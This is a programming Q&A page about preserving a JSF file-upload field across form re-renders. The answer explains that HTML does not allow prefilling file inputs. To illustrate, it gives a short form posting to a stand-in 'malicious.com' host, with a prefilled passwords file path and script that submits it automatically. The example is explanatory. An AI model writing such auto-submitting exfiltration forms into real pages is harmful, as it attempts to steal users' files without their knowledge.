Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 6139671
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 23, 20262026-05-23T18:01:14+00:00 2026-05-23T18:01:14+00:00

I use <t:inputFileUpload> for uploading files in my application. The selected file (represented as

  • 0

I use <t:inputFileUpload> for uploading files in my application. The selected file (represented as a UploadedFile object) is only saved to its binding (the member in the backing bean) upon form submission. As I use dynamic elements in my UI, the form will be re-rendered without submission. In this case, the value binding is void and the user has to re-select the file using <t:inputFileUpload>.

Of course, this is not very user-friendly. Even without submission, <t:inputFileUpload> throws a ValueChangedEvent, to which I’d like to register an event handler that copies the new value (i.e. the uploaded file) into the value binding (i.e. the member of the backing bean). As I want to allow multiple files to be uploaded, I have an array of UploadedFile objects as value binding, referenced in JSF like this:

<ui:repeat value="#{bean.myFiles}" var="file">
  <t:inputFileUpload
    value   = "#{file}"
    storage = "file" />
</ui:repeat>

Now I would like to do something like this:

UploadedFile[] myFiles;

public void valueChangedHandler(ValueChangedEvent ev) {
  UploadedFile file = (UploadedFile)ev.getNewValue();
  UIComponent comp = ev.getComponent();
  // This line is pseudocode - getValueBinding() is not available
  UploadedFile bindingFile = (UploadedFile)comp.getValueBinding();
  // Assigning the new value to the binding
  bindingFile = file;
}

It something like this possible? I have not yet understood how to invoke ValueBinding getValueBinding(String) to make it happen like I want to.

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-23T18:01:15+00:00Added an answer on May 23, 2026 at 6:01 pm

    the user has to re-select the file using <t:inputFileUpload>.

    This is not a JSF limitation. This is a HTML limitation. The <t:inputFileUpload> component renders a HTML <input type="file"> field. Being able to prefill/preserve such a field is a huge security hole and is disallowed in HTML.

    To understand the security hole better, look at the following plain HTML example:

    <form id="upload" action="http://malicious.com/upload" method="post" enctype="multipart/form-data">
        <input type="file" name="file" value="c:/I/guess/this/is/path/to/your/passwords.txt" />
    </form>
    <script>document.getElementById("upload").submit();</script>
    

    If it was supported and one opened a webpage with the above form, the passwords.txt would have been sent to the server without any user intervention!

    If something’s not possible in HTML, then JSF already can’t do much for you (since all it basically is doing is generating some bunch of HTML).

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

Use case: 3rd party application wants to programatically monitor a text file being generated
I'm using jQuery file upload plugin . I don't use the UI part, only
Use scenario is pretty simple: I have a desktop only application that could be
Use case: user clicks the link on a webpage - boom! load of files
use warnings; use Test::More; use File::Find::Rule; use Test::File::Find::Rule; my $rule = File::Find::Rule->file->name('*.pl')->not_grep(qr/^\s*use\s+strict;/m, sub {
Use case: You have 2-3 files displayed in your MacVim window(s). You press ctrl+Q
Use of Unassigned local variable 'model'. Is what error message I'm getting. Its right
use grep command to find txt files containing telephone number. telephone number format could
Use case: we have some project meta-data files which we want tracked, but are
use PHP and MySQL. Want my website to have the feature of image uploading

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.